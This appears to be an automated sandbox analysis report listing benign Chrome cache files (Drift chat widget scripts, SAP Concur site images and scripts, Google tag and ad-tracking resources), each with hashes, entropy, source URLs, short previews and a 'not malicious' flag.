Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[17],{"+D5C":function(e,t,n){"use strict";n.d(t,"c",function(){return r}),n.d(t,"b",function(){return o}),n.d(t,"a",function(){return a});var r=Object.freeze({CHAT:"chat",USER:"user",PRESENCE:"presence",VISITOR_PRESENCE:"visitor_presence"}),o=Object.freeze({CHAT:"chat",USER:"user",ORG_PUBLIC:"live",LIVE:"live"}),a=Object.freeze({CHAT:"chat",USER:"user",PRESENCE:"presence"})},"+Zvl":function(e,t,n){"use strict";var r=n("QtlZ"),o=n("ILQF"),a=n("H/qh"),c=["__DRIFT_WIDGET_RECEIVE_CHANNEL","REPLACE_STATE"];t.a=function actionSyncMiddleware(){return function(e){return function(t){return t._foreignDispatch\|\|Object(a.a)(t.type,c)\|\|r.a&&r.a.name&&Object(o.a)({topic:"".concat(r.a.name,":action-dispatch"),message:{action:t}}),e(t)}}}},"0lfv":function(e,t,n){"use strict";n.d(t,"j",function(){return _}),n.d(t,"q",function(){return A}),n.d(t,"g",function(){return forceFocus}),n.d(t,"r",function(){return I}),n.d(t,"s",function(){return j}),n.d(t,"e"

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	97528
Entropy (8bit):	5.429495472432429
Encrypted:	false
SSDEEP:	1536:TdNktpnYKatB8ZPTWbZIkMFr6ms5Az+M0nDP/ax+YMESYLzFVm9FXTMa11:TvkCsZSbWkMr62CnDPyxxL41/1
MD5:	81B2C27FBE312B34F936693CAE8399B4
SHA1:	FAA00025F4548C9C4E5870BDAD99AF8F2772B60C
SHA-256:	270AE4A1E48F8511FCA03917A94C938B0833268F80D193690025CB9E91975F3C
SHA-512:	E8013B122882697EB5B98EFDD950CB4F0C37C096999A002FC58098AE81940002C04280C74545C943A6297CAA38A27209C5C3121319C44A055AB71ADC6D538970
Malicious:	false
Preview:	(globalThis.webpackChunkCE2=globalThis.webpackChunkCE2\|\|[]).push([[806,60],{3588:(e,t,s)=>{"use strict";s.r(t),s.d(t,{EventHandlers:()=>Ps,V11Tracker:()=>Vt,compress:()=>Ls,fp:()=>Ds,getCensoredElements:()=>$t,timing:()=>lt});const r="[\\s\\u00a0\\u2028\\u2029]+";let i;if("undefined"!=typeof Intl&&Intl.Segmenter)try{i=new Intl.Segmenter}catch(e){}const n={whitespace:new RegExp(r,"g"),strip:new RegExp(`^${r}\|${r}$`,"g"),href:/\bhref="(.?)"/i,ipHost:/^([\d\.]+\|\[[a-f\d:]+\])$/i,allChars:/\p{RI}\p{RI}\|\p{Emoji}(\p{EMod}\|\u{FE0F}\u{20E3}?\|[\u{E0020}-\u{E007E}]+\u{E007F})?(\u{200D}\p{Emoji}(\p{EMod}\|\u{FE0F}\u{20E3}?\|[\u{E0020}-\u{E007E}]+\u{E007F})?)\|./gsu};function o(e,t){const s=e.replace(n.strip,"");return t?s.replace(n.whitespace," "):s}const a=2048,c=65535-a;const l=`cesrk${Math.random().toString().replace(/\D/g,"")}`;function h(e){let t;const s=(e=e\|\|window).document;return e[`${l}_path`]!==e.location.pathname&&(e[l]=function(e){const t=e.defaultView,s=e.documentElement;if(s.scroll

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7215), with no line terminators
Category:	downloaded
Size (bytes):	7215
Entropy (8bit):	5.715038918631035
Encrypted:	false
SSDEEP:	192:XFP79r8FRHF6U/Atg28bngH1nlm6AVPhJ98evibOEOxWShjulmu/TuVH5coKW8A0:p7VfnzeuN/Tk4
MD5:	1C6A1D59A85DC5CC5C7E07197599E9CE
SHA1:	C0E9404A317D60811E5190607D9F74073B9F9CC6
SHA-256:	DBEBA2B031E84A4C7100F7E8F2FE7284C9D296FA1BD2861889F86DF1D708B7B1
SHA-512:	84FBDD8171E910EFA566A3750DA726206EE3BA1AD4BD3F7BD8EF0A6AB52FA86A994D6EE94209F787E88EB6219C1FBE3B7E806E785E8D944525A06BB44D74CBA3
Malicious:	false
URL:	https://js.driftt.com/core/assets/js/main~493df0b3.8510c064.chunk.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[5],{"/7QA":function(t,i,E){"use strict";E.r(i),"production"!==E("LeJ0").a.ENV&&E("Cp41");var A=E("9EWH"),_=E("ADGC");Object(_.b)()&&Object(A.b)();!function polyfillKickoff(t){try{[1].includes(1)&&t()}catch(i){Promise.all([E.e(49).then(E.t.bind(null,"imET",7)),Promise.all([E.e(2),E.e(40)]).then(E.t.bind(null,"H+SE",7)),E.e(15).then(E.t.bind(null,"2GZm",7)),Promise.all([E.e(2),E.e(12),E.e(7)]).then(E.t.bind(null,"LSZE",7)),E.e(54).then(E.t.bind(null,"3yYM",7))]).then(function(){t()}).catch(function(t){return console.error("Error importing polyfills",t)})}}(function kickOff(){Promise.all([E.e(52),E.e(37),E.e(22),E.e(19),E.e(43),E.e(20),E.e(26),E.e(14),E.e(11),E.e(18),E.e(50),E.e(42),E.e(29),E.e(21),E.e(8),E.e(16),E.e(24),E.e(17)]).then(E.bind(null,"V+70")).catch(function(t){return console.warn("loading root widget failed",t)})})},0:function(t,i,E){t.exports=E("/7QA")},"91+0":function(t){t.exports={"//WS_CHAT_BASE":"localhost:4000",ENV:"

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23865), with no line terminators
Category:	dropped
Size (bytes):	23865
Entropy (8bit):	5.17066773670714
Encrypted:	false
SSDEEP:	384:dEiPYBr8tDTHrmZjlvbbPal9pGh6rk4scHWeqBEcpAODhBwXTzWDg8GUeAwkO06o:OigBgtnQvbbPkGh6Q4scQEcpAODySDig
MD5:	4049F38C00ADD1738DC4806148FF8829
SHA1:	0A631D2CCDE970A13F60E147A5B5AEACB6A1B2E0
SHA-256:	C501DE88FBB90A445F1754A529BC772E7047071BF653C8C3F0330F7BB736D140
SHA-512:	8ADA588F646C3D9456EA5C8F28C994078B6D2F88527E998C3329F53BD915403283F498E31A9532B7488DC23C74F0CB60AFC93F47891D9E73CF6FB96085A97EC1
Malicious:	false
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[11],{"0B8E":function(t,n,e){"use strict";var r=e("rAc1"),u=e("PYcH");function hasOrAdd(t,n,e){var r,c=typeof t;switch(c){case"string":case"number":return 0===t&&1/t===-1/0?!!e._items["-0"]\|\|(n&&(e._items["-0"]=!0),!1):null!==e._nativeSet?n?(r=e._nativeSet.size,e._nativeSet.add(t),e._nativeSet.size===r):e._nativeSet.has(t):c in e._items?t in e._items[c]\|\|(n&&(e._items[c][t]=!0),!1):(n&&(e._items[c]={},e._items[c][t]=!0),!1);case"boolean":if(c in e._items){var a=t?1:0;return!!e._items[c][a]\|\|(n&&(e._items[c][a]=!0),!1)}return n&&(e._items[c]=t?[!1,!0]:[!0,!1]),!1;case"function":return null!==e._nativeSet?n?(r=e._nativeSet.size,e._nativeSet.add(t),e._nativeSet.size===r):e._nativeSet.has(t):c in e._items?!!Object(u.a)(t,e._items[c])\|\|(n&&e._items[c].push(t),!1):(n&&(e._items[c]=[t]),!1);case"undefined":return!!e._items[c]\|\|(n&&(e._items[c]=!0),!1);case"object":if(null===t)return!!e._items.null\|\|(n&&(e._items.null=!0),!1);default:return(c

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4397
Entropy (8bit):	7.933381426583543
Encrypted:	false
SSDEEP:	96:Z1stsAOfQnUskZ/MUIcCEZq+PSZtDGjUt5mjDQrWoOtZYM3ROAz1:83Mse/J59q+PgtDRt5mjD0qxdx
MD5:	AE6AC3B0A9A4B1CBC67B25C3A86E7948
SHA1:	1291AB1A6C95475DBF2DC46CDAAB81B1BBCF62D4
SHA-256:	9FFEF65474ED97D87A7A3A7281185686162AD8D44A7FF2050981C4D2EC29603C
SHA-512:	3DF0520D5D5DC91482D2893560177B52AA3795CEE7B37726301E956A8D350DE0582738443D960A405DFF19DA6AC091F3A1409D5C91C698810E5EF0FE9FDF2AA0
Malicious:	false
Preview:	.PNG........IHDR...x...x.....9d6.....orNT..w.....IDATx....dYU.?..W.^W......?.Y.!....5dC..1...?........../....O.......".O...#....M\.......2...=.U..=.?.......w..~._.}.{...=W...........j.n................,...\|=.v., ...HjW....E....u..([...[..+....(.....[........@..6...$.c.o..$......n....n.a.......(Y........O......./5.O.^7r.....>.....xz........+..k.s....)2.f.......s...6.3C.........Q.m;....W....._...._...Q....X.....Z.....}PW...PWt...2\|v..Pq..>..p=........G.0......=H.N.o.....tMa.....k......Wm1\.......{G......%..+F.._6..X.......Q.........7....?...._.\|..........71p.O.j......<y+...W_QP....i...p................s.dP.:...pk..J....A...._.../.b..r.~.I..........O....z.iNlu(.K..p......[...F.......c..~......z.,.n_j..o~.:../.;~.N.......[./..d*..\|.....7f..F%...nZx.M..>t$......J....b.MD.D.\..@....>k...,..I(...Pt ......]........xq.........&..`..~h....:Q...:...4./..j^..>... >X.o.........Q.nh.....4wu.....>..8..b..O..g^...$EQ........\.(..z..x

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	226668
Entropy (8bit):	5.31800568909065
Encrypted:	false
SSDEEP:	3072:XmqIZl5phQk+VC+xyLRcP2QJ0roSjdDTtS223EM/LuJPJ:mM2qQDTtSn/ihJ
MD5:	F832FFABF78FE78B7D496FD5029E9A5A
SHA1:	3F3579A46572BACCE6B370F441AA8A3C830F5209
SHA-256:	635C69243B34E95BB6C714CB6C43815C7B4C50D0E2EF76354DF4CB2B4A1325AF
SHA-512:	9F6D23E22CF52265D02FAB46A307CB7A25AB92BFB69D75BA969C697B4AA2DA73FFBC326B6492BF48BEF6855B52054ADE425910F77148B7879763C640CE9AE7FB
Malicious:	false
URL:	https://js.driftt.com/include/1727945100000/7xzz4mtpike9.js
Preview:	!function(e){function webpackJsonpCallback(t){for(var r,o,i=t[0],s=t[1],c=0,u=[];c<i.length;c++)o=i[c],n[o]&&u.push(n[o][0]),n[o]=0;for(r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r]);for(a&&a(t);u.length;)u.shift()()}var t={},n={0:0};function __webpack_require__(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,__webpack_require__),r.l=!0,r.exports}__webpack_require__.e=function requireEnsure(e){var t=[],r=n[e];if(0!==r)if(r)t.push(r[2]);else{var o=new Promise(function(t,o){r=n[e]=[t,o]});t.push(r[2]=o);var i,a=document.createElement("script");a.charset="utf-8",a.timeout=120,__webpack_require__.nc&&a.setAttribute("nonce",__webpack_require__.nc),a.src=function jsonpScriptSrc(e){return __webpack_require__.p+"assets/"+({}[e]\|\|e)+"."+{1:"37afe153",2:"2a722653",3:"ee35dea2"}[e]+".chunk.js"}(e);var s=new Error;i=function(t){a.onerror=a.onload=null,clearTimeout(c);var r=n[e];if(0!==r){if(r){var o=t&&("load"===t.type?"missing"

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	30338
Entropy (8bit):	7.918630974650843
Encrypted:	false
SSDEEP:	384:mvCKFdG251T2JjEjZCcJyY4bVjTS1wwEkNuCtO8tpiIzql6hVx/U9TN55555555A:n2P6JjEjZCcUpbZhRkIwT5+0jZU9pvFC
MD5:	402B99D9423D335EB68F94C9A91F3DFD
SHA1:	2A77D655654A20BABA365B05E0C6DB25E5EA2351
SHA-256:	83A34D8F78AFDCC1B4A26FB6F7BA8ABCE70CC7C584E9E7B932C0B4D1C49EEBE1
SHA-512:	BB8A36C1CCD5D73BD4B93B8B345B36170EE056D5DBEF82D6155430C529AF08DB49F43F06C8153F3C6E83B31D85B75B3EDE87911E34A2D664503DD03D452FA2E5
Malicious:	false
URL:	https://www.concur.com/sites/default/files/merck_logo_logotype_1.png
Preview:	RIFFzv..WEBPVP8X....0...?..3..ICCP........lcms....mntrRGB XYZ .........).9acspAPPL...................................-lcms................................................desc.......^cprt...\....wtpt...h....bkpt...\|....rXYZ........gXYZ........bXYZ........rTRC.......@gTRC.......@bTRC.......@desc........c2..................................................................................text....FB..XYZ ...............-XYZ ...........3....XYZ ......o...8.....XYZ ......b.........XYZ ......$.........curv...............c...k...?.Q.4!.).2.;.F.Qw].kpz....\|.i.}...0..ALPHJH....'$H..xkD..9..6rd._..\|......;x.....c.3.z&....1...]el.n.\Q.>.M.=.+....'......{ d..B.!.s.!..ab6r..9N.4..v.q..r.8...3!......BF..1..^..\|.5..zG...`G..B.i......M................_............_............\]]].....0....'....i...sC..=.......^./!..:=>......U...9...C...eF.:....=.......@.;.....\|........k..Ddx..>.*[...?..........g..{...?..........qS.....i..c!^.W9Z.:.<.wdJ#.+..D.q........1j..U].W5.....u........

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 972 x 418, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	36186
Entropy (8bit):	7.925788449862485
Encrypted:	false
SSDEEP:	768:OqV5VJ40lLp0SFFAXZH2FtFkO9zpNuam2sanv+fxlyi5:OqxDhuSFFApaIG1Nnm58+fxlyi
MD5:	DE15CCAE2D32E97C46B5B330D22B2059
SHA1:	0C02B3799C3D390E3DCF3C699C2FD4C322A827A2
SHA-256:	C197B55A2504AF31ED46D2E5F2B79877663F7A36158898F0F19415B2C3E947DE
SHA-512:	528EDA20BD944ED17029029F83E55A38F01BDB066953844694887B3DEC2098A88626FB4CE5DA3166A31B235FEF605FFC7B3BF07FBAA4BE8484FC22276DC0A20A
Malicious:	false
Preview:	.PNG........IHDR..............+.:....orNT..w.....sRGB.........IDATx...wx.....#.mgB.B.0.a.G..e....KK....B....{SV.{..=..;..2........IdKr~.s.^'..G.-}.t.w(........0G.v.........l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l......!......`..l.....

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	9590
Entropy (8bit):	7.974927201797153
Encrypted:	false
SSDEEP:	192:Bn4YgEZBHc7q4frcYFnX5fheK5bUKrk5Bd4WhkH3o6+FOpcoSKZgkv:B4Ydh14frcYFX5fhIKrYjk4NFyc9qL
MD5:	0421B4BBA614800370EED769D05930BF
SHA1:	02A2CD38750106A585833C7A75FE29973A5E8A06
SHA-256:	573EDBA02E9EE364135F5976D6539CA4F60D03897B19E1B4EA10087E8766577D
SHA-512:	C1460B37A11F57ED9F1C3E3ABED306DE6726651CDA9EE4D7B0F01F0B6117658E664DB59B84A90FFB768CCEF1091133FDC992F518DFFFE151F424F964D0DB2944
Malicious:	false
URL:	https://www.concur.com/sites/default/files/salesforce_logo.png
Preview:	RIFFn%..WEBPVP8X........W..q..ALPH..........%...IRgD........;X.{.Z.Q.{...;Q..-......"%003.]..}.........m.].FTx..f..#$..w..>\|-...z!i.S{Dx{f.5zc.YX..[?....Q..{.1;.l..[.=!.m.G...gb...4,1....9.5..~..mX.o..@h."..x66.....d.g.......d.`...{....G._...}..(j.Do..s..o...D..c?.n.I./\IN.c.E...Q'.....Q...&...'......6.....(...E..........ki.^.(G.........m.8"X.\.......ub.t..{I.uOA..+YtB..."\|<6X..nA...T4.........Uim.....v=..(..q%T...'J.L..+.e..3..0%....:..+...G...-..%>G.A.m(\..P.5....S.K.~..B.kVX..(.K...{..m..WU..@.?jRX5~F..h...O .s^...L........\C.:^)..d...V.).d....3.P..\|.R.....bB~Di..TI.V$....!J4.5u.aEb.z...N.._Edy.......Q...+..kHO{.g.=..Ni..L...9..!..J9...1..4}...f.(iG..Y.T=W..t.Ay..v.!]w..`..e..F...?...@./.(..4$m.....B..1.....G..U4.Q...d...}]..Z...z..4..j....f).R.:.$.R.u.J.j..:.X..w5..\.....{.U.A..h.6...M?.y`...o.....^.MnR.\.q.S......S.............L.>?...\|gW\S....T0xH...^...E0...-.n.nT......yX.3...vCZ....,ao...<.[..8.hp.SJ...E....w.!*.V..i.X.B.

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18178)
Category:	downloaded
Size (bytes):	18882
Entropy (8bit):	5.30938389215919
Encrypted:	false
SSDEEP:	384:T5fTtX/CaTSQ5HmNmDARrayBFk7TcCnvCdHDLIxTr2nN:RxX/CaTSQxmNmGFk7TcCvCdHfIxWN
MD5:	D20E285FBDDBDCD44BFD4CB79E2CA983
SHA1:	0CB348F65EF905C3E9652346570523A78D343249
SHA-256:	AFDF800110EFBA57A01AC4CA6BF193399EAD7999232AE03AA60E8D8BD265A242
SHA-512:	B7785E84D9ADDB4426DD4AF79BFD9D91CEF005D26F45B3266EB78BF6A8763B4EC2B8233E42C53FFC2E19231C1D6989DAD07B769A6DB28EF64EB0E6D2AA9AEE08
Malicious:	false
URL:	https://www.concur.com/sites/default/files/js/js_r9-AARDvulegGsTKa_GTOZ6teZkjKuA6pg6Ni9JlokI.js
Preview:	/! Hammer.JS - v2.0.4 - 2014-09-28. http://hammerjs.github.io/. . Copyright (c) 2014 Jorik Tangelder;. * Licensed under the MIT license */.!function(a,b,c,d){"use strict";function e(a,b,c){return setTimeout(k(a,c),b)}function f(a,b,c){return Array.isArray(a)?(g(a,c[b],c),!0):!1}function g(a,b,c){var e;if(a)if(a.forEach)a.forEach(b,c);else if(a.length!==d)for(e=0;e<a.length;)b.call(c,a[e],e,a),e++;else for(e in a)a.hasOwnProperty(e)&&b.call(c,a[e],e,a)}function h(a,b,c){for(var e=Object.keys(b),f=0;f<e.length;)(!c\|\|c&&a[e[f]]===d)&&(a[e[f]]=b[e[f]]),f++;return a}function i(a,b){return h(a,b,!0)}function j(a,b,c){var d,e=b.prototype;d=a.prototype=Object.create(e),d.constructor=a,d._super=e,c&&h(d,c)}function k(a,b){return function(){return a.apply(b,arguments)}}function l(a,b){return typeof a==kb?a.apply(b?b[0]\|\|d:d,b):a}function m(a,b){return a===d?b:a}function n(a,b,c){g(r(b),function(b){a.addEventListener(b,c,!1)})}function o(a,b,c){g(r(b),function(b){a.removeEventListener(b,c,!

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
URL:	https://match.adsrvr.org/track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=74afb848-711b-4442-bde5-d7137629b408&google_gid=CAESEFBB3fekXSIFjweLJ5x10vU&google_cver=1
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1200x675, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	5684
Entropy (8bit):	7.886835129571899
Encrypted:	false
SSDEEP:	96:bDUzDd6glrRxQXhdtj8BMfwzTWYaJggGWXhSG/whMOdna/XxBt:kzDrFgtj4MfwIJb0MoafTt
MD5:	19851FAE81FA1052EF093ACB462E3C7A
SHA1:	300E9810760FF8F09BC84CA3556DD99E85709F55
SHA-256:	0783D147AACB9C302C40632C78840422F0120DBDDF03865B153FA243FD566F37
SHA-512:	4371DD68034B2AC16627F542E65CFCC5A3FA3956462BF070E67ACC525FCE0849DCB6D79492D120EC1BD1F5AF53236E198A17AD6FA7F54419E01F2FB8C3208E62
Malicious:	false
URL:	https://www.concur.com/sites/default/files/a_beginners_guide_to_sap_concur_solutions_0-11_screenshot.png
Preview:	RIFF,...WEBPVP8 ...0G.......>.l.S(?..!.(....gn.?d.....R3.............-o.3.?..QO7.l....z..?..w...D..l&..T..p.........AS.].z..sk..R..Nmw.._ ...=K..9....\|..6.../.T..p.........AS.].z..sk..R..Nmw.._ ...=K..9....\|..6.../.T..p.........AS.].z..sk..R..Nmw.._ ...=K..9....\|..6.../.T..p.........AS.].z..sk..R..Nmw.._ ...=K..9....\|..6.../.T..p.........AS.].z..sk..R..Nmw.._ ...=K..9....\|..6.../.T..p.........AS.].z..sk..R..Nmw.._ ...=K..9....\|..6.../.T..p.........h......p..n.d{.K..^..........m/v.....0D.AS.].z..sk..R..Nmw..^.....b`..........--.[.v....\|..6.../.T..p.......@O.Q.......lZ.........T.k..R..Nmw.._ ...=K..8$.....:kn.e.....=-...9.U.L.e.......AS.].z..pH...5.s../.T..k.2.-.].)\|..6.../.T..p...........O.......s(p..l..s../.T..p.........AS.]..{.{)..%".[..i%&..I)6..II.....R.....sk..R..Nmw.._ ...:I.^.x>.Q...}.u/3^.9....\|..6.../.T..p....=.E.i.....H....O..f..WsB......R..Nmw.._ ....p...Rm....h7..0)...s=......&b0Z......hs...R..........AS.7.}.1.....vJ.......g

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4269)
Category:	dropped
Size (bytes):	254310
Entropy (8bit):	5.54562664927374
Encrypted:	false
SSDEEP:	3072:BgCFkUeQ65WHeeTJKQK0+xzOhOJjt+/Kjrg+aUP3meNIh7R5E6ch2+4jRTszb9:Fn+yV1cyGjrgzjWIhl5Zch2+4ja9
MD5:	CFC139B6B8CD83B2DD8B4D4AD5DC7E0A
SHA1:	47431D6BE0B748B2A5A3F030BE681E60F0C094ED
SHA-256:	93916B554D70B30AD540D667F2FCD10B9CA4E154B4AB84F736F60F49EFD1ABB0
SHA-512:	21159A2EC6123501977C561275DF166E8790E7970B75240AC9D9175B4E0ADFFB77B1E1AD9392083833C95E14F6AFB452F80650F2C4E0344FEAC796666AF3D898
Malicious:	false
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"}],. "tags":[{"function":"__ogt_dma","priority":3,"vtp_delegationMode":"ON","vtp_dmaDefault":"DENIED","tag_id":105},{"function":"__ogt_1p_data_v2","priority":3,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_reg

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1551), with no line terminators
Category:	downloaded
Size (bytes):	1551
Entropy (8bit):	5.179134902112385
Encrypted:	false
SSDEEP:	24:0E01AZ14iwMsom6ZjjzZv9QxlxUU/sJ5u/sRxQ75jmlxUi1X5E1d1I:0EG+1pfzZvKxf6TvQ7RmfJ
MD5:	E02707ECDE812F324896E0F17B53FD15
SHA1:	5CD85EFC46F386DCD5DDF5F21361BDCE7A8738EE
SHA-256:	E0B335357F085E132E87954EC6DCE3E35C2239193885E18BAC7427C62EB7EC3F
SHA-512:	4B0467273B38BBFC19D73E59F19238FC91B2A903BADF265A28E9CC262976D02431E5B3C160454A7FE91746297FC80D14C2E886DFADCBAE0042ACEE0DC1B2AF27
Malicious:	false
URL:	https://js.driftt.com/core/chat?d=1&region=US&driftEnableLog=false&pageLoadStartTime=1727944883023
Preview:	<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name="theme-color" content="#000000"><link rel="manifest" href="/core/manifest.json"><link rel="dns-prefetch" href="https://js.driftt.com" crossorigin><link rel="dns-prefetch" href="https://customer.api.drift.com" crossorigin><link rel="dns-prefetch" href="https://conversation.api.drift.com" crossorigin><link rel="dns-prefetch" href="https://targeting.api.drift.com" crossorigin><link rel="dns-prefetch" href="https://metrics.api.drift.com" crossorigin><title>Drift Widget</title><script type="text/javascript">__ENV__="PRODUCTION",__BUILD_ID__="20240924153838-5b77221",__REGION__=window.location.search.match("[\\?&]region=([^&#])")?window.location.search.match("[\\?&]region=([^&#])")[1]:"US"</script><link rel="preload" href="/core/assets/js/runtime~main.901f3121.js" as="script" crossorigin="anonymous"><link rel="preload" href="/core/assets/j

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3114), with no line terminators
Category:	downloaded
Size (bytes):	3114
Entropy (8bit):	5.256224332537812
Encrypted:	false
SSDEEP:	48:lD58u5a2nLPHMXC9Y1/65EyUV1GZW1nttv+r3SKlTaob8wfsJ3pFWaUGA9oUOkio:A2DHMSS1/LltCRiwYMoUX
MD5:	B5201FF04DA30312910B71E1DA072DD2
SHA1:	84B0303592849AE0E16C33F9EA4776B22D6F326F
SHA-256:	9373A860524D692CE81C1F8F266B511CD597A7F1DBB9FB674C57A303101C21BB
SHA-512:	5F3C0F76106D54056FCB06A8B41C5D390AD6E410C0290E8B0F24985259ED526433395FF87F9E2658C0DCFFD41B4FA33172A169B6C675F9FD0D1A00EE6461DBE5
Malicious:	false
URL:	https://js.driftt.com/core/assets/js/39.f1d268f5.chunk.js
Preview:	(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[39],{"2AO3":function(e,t,a){"use strict";a.r(t);var c=a("mj2O"),n=a.n(c),r=a("7SM1"),i=a("Rqwx"),l=a("QtlZ"),o=a("My8U"),s=a("Bjre"),u=a("ILQF"),d=a("K7i0"),f=a("ERkP"),b=a.n(f),p=a("uDfI"),m=a("ADGC"),h=function forceComposerFocus(){if(Object(m.a)()){var e=document.querySelector("textarea.drift-widget-input:focus");e&&setTimeout(function(){var t=e.value;e.value=" ",e.value=t},50)}},v=a("SkRI"),O=a("Cpup"),w=a("HSQL");l.a.name="chat";var j=Object(f.lazy)(Object(r.a)(n.a.mark(function _callee(){return n.a.wrap(function _callee$(e){for(;;)switch(e.prev=e.next){case 0:return e.abrupt("return",Object(v.a)(function(){return Promise.all([a.e(0),a.e(3),a.e(1),a.e(28)]).then(a.bind(null,"SrLZ"))}));case 1:case"end":return e.stop()}},_callee)})));t.default=function ChatPage(){return Object(f.useEffect)(function(){Object(o.a)({name:"chat",syncWith:"controller",store:l.a}),Object(u.c)({topic:"CONDUCTOR:action-from-plugin",handler:function handl

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	5.368729876158522
Encrypted:	false
SSDEEP:	24:8g8+TXl592oQECGNNpRyKMX3NbMm1pJnnbD4pAsVViHD:8z+TU+xbR0XOQ3e54HD
MD5:	2C5A5EE0A22D0D4EAE695BFADEA81A2B
SHA1:	1BC0576F2ED1496F5504820FC1BA9604500FE6F7
SHA-256:	921AE995E5BDA772194ABA87BDEB83DB6CD0BAF6DA928017DC5C1DC41C11E64F
SHA-512:	F6A8D7CEC381E98A2941726C2D17AE714116936DCAD916EFC0A2D1641699535C20BAFEA5E0725F22060E9D8EE40370ADCB8B6A531D7A84151E3C37A56BB0A181
Malicious:	false
